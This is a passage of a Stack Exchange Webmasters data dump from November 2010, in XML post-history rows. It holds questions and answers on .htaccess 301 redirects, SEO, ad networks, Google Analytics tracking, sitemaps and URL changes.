  <row Id="10662" PostHistoryTypeId="5" PostId="5350" RevisionGUID="9d2db44d-fcdc-4ec3-98f8-6747a386e632" CreationDate="2010-11-12T01:17:45.897" UserId="1253" Comment="added 60 characters in body" Text="This snippet will force the www to always be in thew URL. I don't know if that helps you or not:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.|$) [NC]&#xD;&#xA;    RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10663" PostHistoryTypeId="2" PostId="5351" RevisionGUID="6e7e3f76-af8b-411d-b365-09a23244fbed" CreationDate="2010-11-12T08:16:19.850" UserId="632" Text="I currently have a .htaccess file that looks like this:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^action=view&amp;item=([0-9]+)$&#xD;&#xA;    RewriteRule ^index\.php$ /index.php?url=item/%1 [R=301]&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^(.*)$ index.php?url=$1 [QSA,L]&#xD;&#xA;&#xD;&#xA;It is meant to 301 redirect my old query string based URLs to new CakePHP urls.  This will successfully send users to the correct page.  However, Google doesn't seem to like it.  I previously tried doing this:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^action=view&amp;item=([0-9]+)$&#xD;&#xA;    RewriteRule ^index\.php$ /item/%1 [R=301]&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteRule ^(.*)$ index.php?url=$1 [QSA,L]&#xD;&#xA;&#xD;&#xA;But that fails.  The second rewrite rule doesn't seem to catch the rewritten URL.  It goes straight through.  Using the first version wouldn't be a problem, except that I suspect that is what is choking up Google.  It hasn't indexed my sitemap full of the new URLs.  My old sitemap had been fully indexed and all the URLs are in Google's index. But it isn't following the redirects from the old URLs to the new.  I have a 'not followed' error for every one of the query urls that was in my old sitemap.  Am I properly using a 301 redirect here?  Is it the weird rewrite rule?  What can I do to send both Google and users to the proper page and save my page rank?" />
  <row Id="10664" PostHistoryTypeId="1" PostId="5351" RevisionGUID="6e7e3f76-af8b-411d-b365-09a23244fbed" CreationDate="2010-11-12T08:16:19.850" UserId="632" Text="How to 301 redirect from old query string urls to CakePHP Canonical urls?" />
  <row Id="10665" PostHistoryTypeId="3" PostId="5351" RevisionGUID="6e7e3f76-af8b-411d-b365-09a23244fbed" CreationDate="2010-11-12T08:16:19.850" UserId="632" Text="&lt;htaccess&gt;&lt;redirects&gt;&lt;canonical-url&gt;" />
  <row Id="10666" PostHistoryTypeId="2" PostId="5352" RevisionGUID="a62c13a4-b0b9-4218-af64-7978daf0c17b" CreationDate="2010-11-12T10:05:04.767" UserDisplayName="delete" Text="Delicious links don't show up in Google webmaster tools. I have at least one page with 100+ links from delicious.com to it, since two years ago or more, but webmaster tools doesn't show it. Is there any way to find out whether I have pages linked from delicious somehow?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10667" PostHistoryTypeId="1" PostId="5352" RevisionGUID="a62c13a4-b0b9-4218-af64-7978daf0c17b" CreationDate="2010-11-12T10:05:04.767" UserDisplayName="delete" Text="How to find delicious links?" />
  <row Id="10668" PostHistoryTypeId="3" PostId="5352" RevisionGUID="a62c13a4-b0b9-4218-af64-7978daf0c17b" CreationDate="2010-11-12T10:05:04.767" UserDisplayName="delete" Text="&lt;links&gt;" />
  <row Id="10672" PostHistoryTypeId="2" PostId="5354" RevisionGUID="cafc2957-7873-4e4e-9676-f361eba7a292" CreationDate="2010-11-12T12:02:27.220" UserId="3175" Text="If I use H1 as an inline element (since it fits the design better) will it be treated the same by the SE crawlers, or will it hurt its effectiveness?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="10673" PostHistoryTypeId="1" PostId="5354" RevisionGUID="cafc2957-7873-4e4e-9676-f361eba7a292" CreationDate="2010-11-12T12:02:27.220" UserId="3175" Text="H1 as an inline element" />
  <row Id="10674" PostHistoryTypeId="3" PostId="5354" RevisionGUID="cafc2957-7873-4e4e-9676-f361eba7a292" CreationDate="2010-11-12T12:02:27.220" UserId="3175" Text="&lt;seo&gt;" />
  <row Id="10676" PostHistoryTypeId="2" PostId="5356" RevisionGUID="7fda130e-7c0f-41d8-b594-06e17c3049ed" CreationDate="2010-11-12T12:44:24.380" UserId="1253" Text="It will be treated the same. Custom design is not black hat SEO." />
  <row Id="10677" PostHistoryTypeId="2" PostId="5357" RevisionGUID="f5e4b6b1-8ad7-4846-9b62-db10f3ddc4f7" CreationDate="2010-11-12T14:49:17.980" UserId="322" Text="Stack Exchange has a passion for [Responsible Advertising][1] but which advertising platforms offer this kind of service e.g. no Flash, no GIFs and relevant content?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2009/03/responsible-advertising-feed-a-programmer/" />
  <row Id="10678" PostHistoryTypeId="1" PostId="5357" RevisionGUID="f5e4b6b1-8ad7-4846-9b62-db10f3ddc4f7" CreationDate="2010-11-12T14:49:17.980" UserId="322" Text="&quot;Responsible&quot; advertising networks" />
  <row Id="10679" PostHistoryTypeId="3" PostId="5357" RevisionGUID="f5e4b6b1-8ad7-4846-9b62-db10f3ddc4f7" CreationDate="2010-11-12T14:49:17.980" UserId="322" Text="&lt;advertising&gt;" />
  <row Id="10681" PostHistoryTypeId="2" PostId="5359" RevisionGUID="6ede8e5a-aaf6-489a-9876-bf5fec19397b" CreationDate="2010-11-12T15:08:07.907" UserId="233" Text="Yes there is - Delicious supports the `site:` operator, same as the search engines. So if you search for `site:example.com` it will show everything from example.com. (There doesn't seem to be a way to order them in anyway.)" />
  <row Id="10682" PostHistoryTypeId="2" PostId="5360" RevisionGUID="b413e1eb-de72-4a99-ae0a-6aca21872c32" CreationDate="2010-11-12T15:33:23.687" UserId="2096" Text="Since asking this question, I've found that uniqueness of the product description seems to be one of the key distinguishing factors.  In particular, when a number of vendors have the same description for a product they tend to get lumped together behind a &quot;compare prices&quot; button, making it that much more difficult for a customer to click through directly to the individual vendor's site.&#xD;&#xA;&#xD;&#xA;Similar descriptions are common when vendors simply copy the stock description from a manufacturer or distributor's site - it take that bit longer to write your own, but seems to be worth it!" />
  <row Id="10683" PostHistoryTypeId="2" PostId="5361" RevisionGUID="376773f5-a05d-4242-bff6-f08061341b03" CreationDate="2010-11-12T15:42:25.577" UserId="2096" Text="[The Deck][1] and Fusion Ads (http://fusionads.net/) are my two favourites.  They're both aimed at a Mac/design type audience.&#xD;&#xA;&#xD;&#xA;**The Deck** says: &quot;We’re picky about the advertising we’ll accept. We won’t take an ad unless we have paid for and/or used the product or service. Sell us something relevant to our audience and we’ll sell you an ad.&quot;&#xD;&#xA;&#xD;&#xA;**Fusion** says: &quot;Our passion is to serve ads that are downright gorgeous, accepting only relevant advertisers of the highest calibre. We choose from among cream-of-the-crop publishers who exclusively show only a single ad per page. [...] In order to maintain our high standard of quality, all advertisers, products and creatives must be hand-approved and found suitable for the network. We reserve the right to reject any products or services that we do not endorse or personally believe in.&quot;&#xD;&#xA;&#xD;&#xA;(Sorry, can only link to one of the above as I'm a new user here!)&#xD;&#xA;&#xD;&#xA;  [1]: http://decknetwork.net/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10684" PostHistoryTypeId="5" PostId="5357" RevisionGUID="1799d073-72f0-464e-8f8f-7a35a9359de4" CreationDate="2010-11-12T15:48:53.847" UserId="322" Comment="Clarified the question a bit; added 10 characters in body" Text="Stack Exchange has a passion for [Responsible Advertising][1] but which advertising platforms offer this kind of service e.g. no Flash, no GIFs and relevant content?&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;I'm not specifically talking about an Tech audience. What if I was running a site for knitting and wanted some relevant and responsible adverts?&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2009/03/responsible-advertising-feed-a-programmer/" />
  <row Id="10685" PostHistoryTypeId="2" PostId="5362" RevisionGUID="ea8edf96-a5f4-4dc8-ac6f-43bb637ab8b0" CreationDate="2010-11-12T16:10:05.960" UserId="1725" Text="[Similar question but different on key points.][1]&#xD;&#xA;&#xD;&#xA;I have the following setup:&#xD;&#xA;&#xD;&#xA;example.com requests forward to example.com/landing/re.php with a 301 permanently moved.&#xD;&#xA;&#xD;&#xA;/landing/re.php evaluates cookies (or other request data) and directs you to either the landing page or to a specific language site, it redirects with a 303 see-other.&#xD;&#xA;&#xD;&#xA;All http-redirects are sent in the HTTP response header section.&#xD;&#xA;&#xD;&#xA;I'm really worried that bots won't be able to deal with this and I should resolve this in some way. My first instinct is to evaluate user-agent and send google to our English page, however I am unaware of the issues with my setup. What's the best way for me to deal with this? Should I re-work what I'm doing to some other way?&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/5328/how-does-redirects-affect-seo" />
  <row Id="10686" PostHistoryTypeId="1" PostId="5362" RevisionGUID="ea8edf96-a5f4-4dc8-ac6f-43bb637ab8b0" CreationDate="2010-11-12T16:10:05.960" UserId="1725" Text="SEO and http-redirect headers?" />
  <row Id="10687" PostHistoryTypeId="3" PostId="5362" RevisionGUID="ea8edf96-a5f4-4dc8-ac6f-43bb637ab8b0" CreationDate="2010-11-12T16:10:05.960" UserId="1725" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="10688" PostHistoryTypeId="5" PostId="5361" RevisionGUID="aa492bfb-d80e-410a-8a54-c7647fcde5cc" CreationDate="2010-11-12T16:31:03.467" UserId="1757" Comment="add second link" Text="[The Deck][1] and [Fusion Ads][2] are my two favourites.  They're both aimed at a Mac/design type audience.&#xD;&#xA;&#xD;&#xA;**The Deck** says: &quot;We’re picky about the advertising we’ll accept. We won’t take an ad unless we have paid for and/or used the product or service. Sell us something relevant to our audience and we’ll sell you an ad.&quot;&#xD;&#xA;&#xD;&#xA;**Fusion** says: &quot;Our passion is to serve ads that are downright gorgeous, accepting only relevant advertisers of the highest calibre. We choose from among cream-of-the-crop publishers who exclusively show only a single ad per page. [...] In order to maintain our high standard of quality, all advertisers, products and creatives must be hand-approved and found suitable for the network. We reserve the right to reject any products or services that we do not endorse or personally believe in.&quot;&#xD;&#xA;&#xD;&#xA;(Sorry, can only link to one of the above as I'm a new user here!)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://decknetwork.net/&#xD;&#xA;  [2]: http://fusionads.net/" />
  <row Id="10689" PostHistoryTypeId="2" PostId="5363" RevisionGUID="fa855a73-bb27-4cf7-9879-bbeb2861553a" CreationDate="2010-11-12T16:35:49.087" UserId="1953" Text="I'd start by looking through the logfiles and see how the search engine bots are handling it (assuming it's a live site) if they are handling it properly then there is no need to worry.&#xD;&#xA;&#xD;&#xA;I would recommend against setting up special redirects based on user agent, GoogleBot wants to see exactly what users see and if you are setting up specific redirects for GoogleBot it it is considered &quot;cloaking&quot; even if it's not an attempt at anything malicious this is considered a no no from Google's perspective.&#xD;&#xA;&#xD;&#xA;I would look at the referring IP address and redirect to the appropriate language, this way it treats all users the same including GoogleBot." />
  <row Id="10693" PostHistoryTypeId="2" PostId="5365" RevisionGUID="94b672e0-cc92-4f26-92b7-cdd4f8e5e675" CreationDate="2010-11-12T16:42:08.387" UserId="3142" Text="Interestingly, I think you can achieve your objective without purposely shooting for the ugly stuff, sort of like a classic car that isn't a Pinto. It's not as nice as the new stuff, but you can appreciate it within the context of the day.&#xD;&#xA;&#xD;&#xA;Some things I recall:&#xD;&#xA;&#xD;&#xA; - Links must be underlined, blue;&#xD;&#xA;   visited are purple. (still prevalent)&#xD;&#xA;   &#xD;&#xA; - Gray background is a must.&#xD;&#xA;   &#xD;&#xA; - Frames were very common, as mentioned&#xD;&#xA;   already.&#xD;&#xA;   &#xD;&#xA; - Contact us often had an animated&#xD;&#xA;   envelope." />
  <row Id="10694" PostHistoryTypeId="5" PostId="5361" RevisionGUID="1ef05118-d1a8-4305-ab86-c016dd66c77e" CreationDate="2010-11-12T16:44:41.413" UserId="2096" Comment="added 51 characters in body" Text="[The Deck][1] and [Fusion Ads][2] are my two favourites.  They're both aimed at a Mac/design type audience.&#xD;&#xA;&#xD;&#xA;**The Deck** says: &quot;We’re picky about the advertising we’ll accept. We won’t take an ad unless we have paid for and/or used the product or service. Sell us something relevant to our audience and we’ll sell you an ad.&quot;&#xD;&#xA;&#xD;&#xA;**Fusion** says: &quot;Our passion is to serve ads that are downright gorgeous, accepting only relevant advertisers of the highest calibre. We choose from among cream-of-the-crop publishers who exclusively show only a single ad per page. [...] In order to maintain our high standard of quality, all advertisers, products and creatives must be hand-approved and found suitable for the network. We reserve the right to reject any products or services that we do not endorse or personally believe in.&quot;&#xD;&#xA;&#xD;&#xA;(Sorry, can only link to one of the above as I'm a new user here! **EDIT:** Thanks Lèse majesté for correcting this.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://decknetwork.net/&#xD;&#xA;  [2]: http://fusionads.net/" />
  <row Id="10695" PostHistoryTypeId="2" PostId="5366" RevisionGUID="3e797fed-10dd-465f-a902-f025a0b53290" CreationDate="2010-11-12T16:46:53.643" UserId="2096" Text="Open-source &quot;ad server solution&quot; [Open X][1] is incredibly powerful, but might have a bit too much of a learning curve if all you're looking to do is affiliate banners.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org/" />
  <row Id="10697" PostHistoryTypeId="2" PostId="5367" RevisionGUID="9c9aed7a-c202-4ad2-ac1e-8edb18ac48de" CreationDate="2010-11-12T17:08:35.387" UserId="1757" Text="Most people who link to your site are likely to link to `yourdomain.tld` so having that page point to a 303 redirect may be wasting some PR (though perhaps trust and authority still get passed to the domain) as the 303 will not pass on PR, and will likely cause `http://yourdomain.tld` to just be unindexed.&#xD;&#xA;&#xD;&#xA;That said, there are a lot of sites that use this approach (having `domain.tld` dynamically redirect to `*lang*.domain.tld`). One way to do it without wasting PR would be to:&#xD;&#xA;&#xD;&#xA; 1. Have `domain.tld` simply be a language-selection page that links to all the different language subsites.&#xD;&#xA; 2. When a user goes to a particular language subsite, save (via cookie) that as their language preference.&#xD;&#xA; 3. Next time the user comes to `domain.tld` use JavaScript to redirect them to their preferred subsite.&#xD;&#xA;&#xD;&#xA;This way all of your `domain.tld` PR flows to each of your language subsites, but you still auto-redirect users to the language they last visited.&#xD;&#xA;&#xD;&#xA;However, this is still considered cloaking as return users will see the &quot;language selection&quot; page in the SERP and instead end up at one of the language subsites. So that might be a reason to stick with your current setup and simply have search users go directly to one of the subsites. Google is pretty good at determining which language the user is looking for anyway (based on the query as well as which Google portal the user is searching from)." />
  <row Id="10698" PostHistoryTypeId="2" PostId="5368" RevisionGUID="00d29cfc-4076-41c2-8feb-76df249a2cf4" CreationDate="2010-11-12T17:39:10.883" UserId="3181" Text="HI to all,&#xD;&#xA;&#xD;&#xA;I'm developing a mobile website containing some valuable dynamic content for people living in my city. I did find some useful informations that aren't available in a quick, light mobile format and I added to my site: teathers' programming, pharmacy shops open at night, twitter account embedding... have you got any other suggestion? I was thinking about facebook oauth to add some &quot;social&quot; feel, but I woluld like to avoid cloning fb information/features, just add some other cool addictive thing. I 'm using php for dynamic contents." />
  <row Id="10699" PostHistoryTypeId="1" PostId="5368" RevisionGUID="00d29cfc-4076-41c2-8feb-76df249a2cf4" CreationDate="2010-11-12T17:39:10.883" UserId="3181" Text="Add valuable dynamic content to a mobile oriented (local) website, any suggestions?" />
  <row Id="10700" PostHistoryTypeId="3" PostId="5368" RevisionGUID="00d29cfc-4076-41c2-8feb-76df249a2cf4" CreationDate="2010-11-12T17:39:10.883" UserId="3181" Text="&lt;web-development&gt;&lt;php&gt;&lt;mobile&gt;&lt;twitter&gt;&lt;social-networks&gt;" />
  <row Id="10701" PostHistoryTypeId="2" PostId="5369" RevisionGUID="8b5c690e-5234-4353-8e8b-660ea478d551" CreationDate="2010-11-12T17:40:43.693" UserId="3019" Text="I sell a windows software ([wwww.easyjob.net][1])  through a third party company ([www.fastspring.com][2]), and would like to track those sales with GA.&#xD;&#xA;&#xD;&#xA;The problem is that all my &quot;buy links&quot; on my site ([www.easyjob.net][3]) don't point directly to [www.fastspring.com][4], so I can't implement the techniques described in http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html#multipleDomains. Instead, they all point to a php file ([www.easyjob.net/buyNow.php][5]). I need this php in order to:&#xD;&#xA;&#xD;&#xA; - Save affiliate cookies (if present)&#xD;&#xA; - Decide to which fastspring.com url to send, depending on the location of the visitor (US visitors are sent a price in USD, EU visitors to a price in Euros).&#xD;&#xA;&#xD;&#xA;All this is done without displaying any html (via a meta redirect) and without any interaction with the user.  &#xD;&#xA;&#xD;&#xA;How can I still send the necessary information to google when redirecting to the shopping cart at www.fastspring.com under this circumstances?&#xD;&#xA;&#xD;&#xA;Any help would be really appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.easyjob.net&#xD;&#xA;  [2]: http://www.fastspring.com&#xD;&#xA;  [3]: http://www.easyjob.net&#xD;&#xA;  [4]: http://www.fastspring.com&#xD;&#xA;  [5]: http://www.easyjob.net/buyNow.php" />
  <row Id="10702" PostHistoryTypeId="1" PostId="5369" RevisionGUID="8b5c690e-5234-4353-8e8b-660ea478d551" CreationDate="2010-11-12T17:40:43.693" UserId="3019" Text="Setting google analytics cross-domain tracking without the javascript" />
  <row Id="10703" PostHistoryTypeId="3" PostId="5369" RevisionGUID="8b5c690e-5234-4353-8e8b-660ea478d551" CreationDate="2010-11-12T17:40:43.693" UserId="3019" Text="&lt;google-analytics&gt;&lt;tracking&gt;" />
  <row Id="10706" PostHistoryTypeId="2" PostId="5371" RevisionGUID="427aabfc-dfb1-4535-87c3-c9701f7972d9" CreationDate="2010-11-12T18:06:06.163" UserId="3142" Text="Many people suggest that the search engines are all knowing of synonyms, plurals, etc. of the same word stem. I agree that it's largely true, but I have found many situations where it just is not so, and because of that, I do feel like a little variation in the usage of your keyword stem is probably a good idea.&#xD;&#xA;&#xD;&#xA;So, my answer would be to suggest that you *do* actually vary the way you use your keyword, but as you do that, it's quite important, like John Conde suggested, to write your content to make sense to human beings." />
  <row Id="10707" PostHistoryTypeId="5" PostId="5369" RevisionGUID="5721c3b8-a1b1-40ee-af07-c4f9fa166212" CreationDate="2010-11-12T18:09:26.410" UserId="1757" Comment="cleanup" Text="I sell a windows software through a third party company (FastSpring) and would like to track those sales with GA.&#xD;&#xA;&#xD;&#xA;The problem is that all my &quot;buy links&quot; on my site ([www.easyjob.net][1]) don't point directly to [www.fastspring.com][2], so I can't implement the techniques described [here][3]. Instead, they all point to a php file ([www.easyjob.net/buyNow.php][4]). I need this php in order to:&#xD;&#xA;&#xD;&#xA; - Save affiliate cookies (if present)&#xD;&#xA; - Decide to which fastspring.com url to send, depending on the location of the visitor (US visitors are sent a price in USD, EU visitors to a price in Euros).&#xD;&#xA;&#xD;&#xA;All this is done without displaying any html (via a meta redirect) and without any interaction with the user.  &#xD;&#xA;&#xD;&#xA;How can I still send the necessary information to google when redirecting to the shopping cart at www.fastspring.com under this circumstances?&#xD;&#xA;&#xD;&#xA;Any help would be really appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.easyjob.net&#xD;&#xA;  [2]: http://www.fastspring.com&#xD;&#xA;  [3]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html#multipleDomains&#xD;&#xA;  [4]: http://www.easyjob.net/buyNow.php" />
  <row Id="10708" PostHistoryTypeId="6" PostId="5369" RevisionGUID="5721c3b8-a1b1-40ee-af07-c4f9fa166212" CreationDate="2010-11-12T18:09:26.410" UserId="1757" Comment="cleanup" Text="&lt;google-analytics&gt;&lt;redirects&gt;&lt;tracking&gt;" />
  <row Id="10709" PostHistoryTypeId="2" PostId="5372" RevisionGUID="55f647a3-2fb1-4bc6-871e-92d488169498" CreationDate="2010-11-12T18:12:37.623" UserId="3142" Text="I start with the structure from the home page. What are the top-level links and what words are used to describe them? As you do this, you have to consider whether the things you are analyzing were done with much consideration or not. You might be thrown off by a competitor who has been successful *despite* his or her SEO inadequacies.&#xD;&#xA;&#xD;&#xA;I've often considered poor page titling logic as a way to determine whether or not I should care about a competitor's technique.&#xD;&#xA;&#xD;&#xA;If they pass that test, then I dive deep on details such as the URL string, naming conventions, anchor text (internal), PR shaping (use of nofollow on internal links?), etc." />
  <row Id="10710" PostHistoryTypeId="2" PostId="5373" RevisionGUID="943d6fcc-876e-4975-9ce0-48ee921a002a" CreationDate="2010-11-12T18:20:22.970" UserId="3142" Text="This is a terrific question, due to the practices (and templates) that are out there.&#xD;&#xA;&#xD;&#xA;Personally, I like to refer to &quot;Outlining 101&quot; logic, considering the following:&#xD;&#xA;&#xD;&#xA;H1 is like a title (certainly you like to complement your HTML title) and there should be just one per page, just as a page has only one title&#xD;&#xA;&#xD;&#xA;H2 is kind of like Roman Numerals in the outline: I., II., III., etc.&#xD;&#xA;&#xD;&#xA;H3 would be the outline equivalent of A., B., C.&#xD;&#xA;&#xD;&#xA;Often, the practical use of this logic is hard to enforce on a web page exactly -- there are so many incidental bits of info that just don't roll up into that hierarchy. However, if you sit down and try to break it down with that logic, I feel there is a benefit to the discipline." />
  <row Id="10711" PostHistoryTypeId="2" PostId="5374" RevisionGUID="8565bcf0-9548-4ed1-99c3-d0e8dccf6a2b" CreationDate="2010-11-12T18:30:41.497" UserId="1429" Text="As far as I know, Google PR of your front page (or of any page) is mainly affected by the number of NOFOLLOW links to your front page Google can find in the WWW.&#xD;&#xA;&#xD;&#xA;So I don't see how could you loose so much PR by simply raplacing page contents.&#xD;&#xA;&#xD;&#xA;What you might loose is Google search results positions that obviously depends much also on the page contents, I mean a page talking only about &quot;cats&quot; is difficult that shows up when someone search for &quot;handpainetd glasses&quot; even if the page has a huge PR.&#xD;&#xA;&#xD;&#xA;So can't you just ftp download your fornt page, and save it on your PC, than you substitute it with the new page. If after some months you see that you are loosing positions on Google search results for the search queries you are interested, you just simply ftp upload back the old front page, that's it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10712" PostHistoryTypeId="5" PostId="4835" RevisionGUID="e3262681-0d17-4ac5-acd1-4a956e4dbdff" CreationDate="2010-11-12T18:40:33.023" UserId="1429" Comment="added 1 characters in body" Text="Jeff, I have no idea about Stackoverflow because I have never had the opportunity in my life to be a webmaster of such a huge and so frequently updated website.&#xD;&#xA;&#xD;&#xA;**For small websites that do not frequently change I think sitemap are quite useful** (not saying that sitemap is the most important thing, but quite useful yes) for two reasons:&#xD;&#xA;&#xD;&#xA;1. site is crawled quikly (same reason explained by [Joshak answer above][1]) and **in my small experience I noticed this many times with small sites** (up to 30/50 pages)&#xD;&#xA;&#xD;&#xA;2. after few weeks I submitted a sitmap, I look in &quot;Google Webmaster Tools - Sitemaps&quot; and in one blow eye I see **number of URLs submitted in sitemap VS the number of URLs in web index**, if I see they are the same good, otherwise I can check up immediately in my websites what pages are not getting indexed and why.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox/4809#4809" />
  <row Id="10713" PostHistoryTypeId="2" PostId="5375" RevisionGUID="7500d8d9-7acc-4e47-8083-ebc7dabd8715" CreationDate="2010-11-12T18:48:47.483" UserId="1429" Text="I usualy submit simple text urls list as sitemap on Google webmaster tools. It's just a matter of simplicity, a simple text file is lightweight, easier to read also for humans (actually for me). :)&#xD;&#xA;&#xD;&#xA;What's the cath then in submitting an XML sitemap?&#xD;&#xA;Any pros you found out in your experince?&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="10714" PostHistoryTypeId="1" PostId="5375" RevisionGUID="7500d8d9-7acc-4e47-8083-ebc7dabd8715" CreationDate="2010-11-12T18:48:47.483" UserId="1429" Text="Sitemap XML version vs simple text (urls list) version, do you know what are the pros?" />
  <row Id="10715" PostHistoryTypeId="3" PostId="5375" RevisionGUID="7500d8d9-7acc-4e47-8083-ebc7dabd8715" CreationDate="2010-11-12T18:48:47.483" UserId="1429" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;sitemap&gt;&lt;xml&gt;&lt;url&gt;" />
  <row Id="10716" PostHistoryTypeId="2" PostId="5376" RevisionGUID="3dde5c88-994a-47a2-8c33-6c769e9319f8" CreationDate="2010-11-12T18:50:58.637" UserId="2865" Text="Is there any sort of downside for a URL being changeable?&#xD;&#xA;&#xD;&#xA;Take any stack exchange question for example. The URL looks something like this:&#xD;&#xA;&#xD;&#xA;`webmasters.stackexchange.com/questions/3079/should-i-use-a-file-extension-or-not`&#xD;&#xA;&#xD;&#xA;Simply `webmasters.stackexchange.com/questions/3079` is the &quot;true&quot; link, as in you can always access that question by it's ID even if the title changes.&#xD;&#xA;&#xD;&#xA;But say the question gets renamed by the user after being indexed by Google, so the URL is now `webmasters.stackexchange.com/questions/3079/file-extensions-are-yummy`&#xD;&#xA;&#xD;&#xA;Can anyone provide insight into the tradeoffs here? I like to have the document title (in this case, the question title) after the document's ID for SEO and readability purposes, but I'm wondering what the drawbacks are for when the last part of the URL changes. Is it worth disallowing users from being able to rename their document?" />
  <row Id="10717" PostHistoryTypeId="1" PostId="5376" RevisionGUID="3dde5c88-994a-47a2-8c33-6c769e9319f8" CreationDate="2010-11-12T18:50:58.637" UserId="2865" Text="SEO and Changeable URL's" />
  <row Id="10718" PostHistoryTypeId="3" PostId="5376" RevisionGUID="3dde5c88-994a-47a2-8c33-6c769e9319f8" CreationDate="2010-11-12T18:50:58.637" UserId="2865" Text="&lt;seo&gt;&lt;url&gt;&lt;url-rewriting&gt;&lt;title&gt;" />
  <row Id="10719" PostHistoryTypeId="2" PostId="5377" RevisionGUID="f7cfbd82-c236-4252-97f8-702316e241fd" CreationDate="2010-11-12T19:07:49.333" UserId="1953" Text="If the URL changes Google will see a 404 when they crawl that page again, so if your page titles change often you could potentially be deindexing and reindexing multiple pages of your site on a regular basis, this obviously wouldn't be great from an SEO perspective. Also if your page generates a lot of links then you change the page title all those links will point to a 404 and become virtually worthless from both an SEO perspective and user perspective. If you have it set so the content remains as long as the ID is correct then there's the potential for duplicate content causing issues.&#xD;&#xA;&#xD;&#xA;A hybrid method that I've seen that works well if the pages are generated manually is to allow them to create a &quot;slug&quot; this is descriptive and gets used as the URL so the user can change the name as often as they want but the URL remains in tact.&#xD;&#xA;&#xD;&#xA;(Note a lot of websites are setup this and do fine with SEO as long as you're aware of potential issues and make sure they don't get out of hand you'll be ok)." />
  <row Id="10720" PostHistoryTypeId="5" PostId="5376" RevisionGUID="06525976-a487-4617-b32f-69991a7deaf0" CreationDate="2010-11-12T19:25:24.287" UserId="2865" Comment="added 50 characters in body" Text="Is there any sort of downside for a URL being changeable?&#xD;&#xA;&#xD;&#xA;Take any stack exchange question for example. The URL looks something like this:&#xD;&#xA;&#xD;&#xA;`webmasters.stackexchange.com/questions/3079/should-i-use-a-file-extension-or-not`&#xD;&#xA;&#xD;&#xA;Simply `webmasters.stackexchange.com/questions/3079` is the &quot;true&quot; link, as in you can always access that question by it's ID even if the title changes.&#xD;&#xA;&#xD;&#xA;But say the question gets renamed by the user after being indexed by Google, so the URL is now `webmasters.stackexchange.com/questions/3079/file-extensions-are-yummy`&#xD;&#xA;&#xD;&#xA;Can anyone provide insight into the tradeoffs here? I like to have the document title (in this case, the question title) after the document's ID for SEO and readability purposes, but I'm wondering what the drawbacks are for when the last part of the URL changes.&#xD;&#xA;&#xD;&#xA;Is it worth disallowing users from being able to rename their document? Do I need to set up some tricky 301 redirects?" />
  <row Id="10721" PostHistoryTypeId="2" PostId="5378" RevisionGUID="107bf07f-9480-4cac-b073-75a016f3a93c" CreationDate="2010-11-12T19:33:34.110" UserId="1253" Text="If you change the URL you have a new page in Google's, and every other search engines', eyes. This means that page will be starting over with PR and incoming links every time it changes. That's obviously not what you want. &#xD;&#xA;&#xD;&#xA;If you're going to allow URLs to change then you need to make sure you do a 301 redirect from the old URL to the new URL. But that really isn't a good solution if the URLs change more then once as you will then have a long chain of redirects which will result in lost PR as well as the potential for the search engines to either encounter an error or stop following the chain after X amount of redirects.&#xD;&#xA;&#xD;&#xA;There is no good solution for this as you ultimately lose something, if not everything, when changing URLs. I'd recommend against this unless the change is made quickly after creation and left to one change only. Anything other then that is asking for problems." />
  <row Id="10722" PostHistoryTypeId="2" PostId="5379" RevisionGUID="b74560e3-dad4-478b-8b12-07315dded1d8" CreationDate="2010-11-12T19:42:30.090" UserId="1429" Text="I'm fixing some minor things on the 404 page for all my websites.&#xD;&#xA;My punctiliousness makes me unable to sleep well unless I get an answer to this question. :)&#xD;&#xA;&#xD;&#xA;**Does a 404 page need a meta description tag?**&#xD;&#xA;If yes filled with what, &quot;page not found&quot;?&#xD;&#xA;&#xD;&#xA;I would  say no, if Google really cares more about contents and user frienly site rather than about what is on the page (moreover the 404 page snippet should never show up in Google cause server is sending real 404 code).&#xD;&#xA;&#xD;&#xA;But after reading all this stuff:&#xD;&#xA;&#xD;&#xA; - http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=93641&#xD;&#xA; - http://googlewebmastercentral.blogspot.com/2008/08/make-your-404-pages-more-useful.html&#xD;&#xA; - http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=136085&#xD;&#xA;&#xD;&#xA;on how they suggest to fill up a 404 page (that I always thought should just be a simple 404 page) **I started to feel worried about meta description 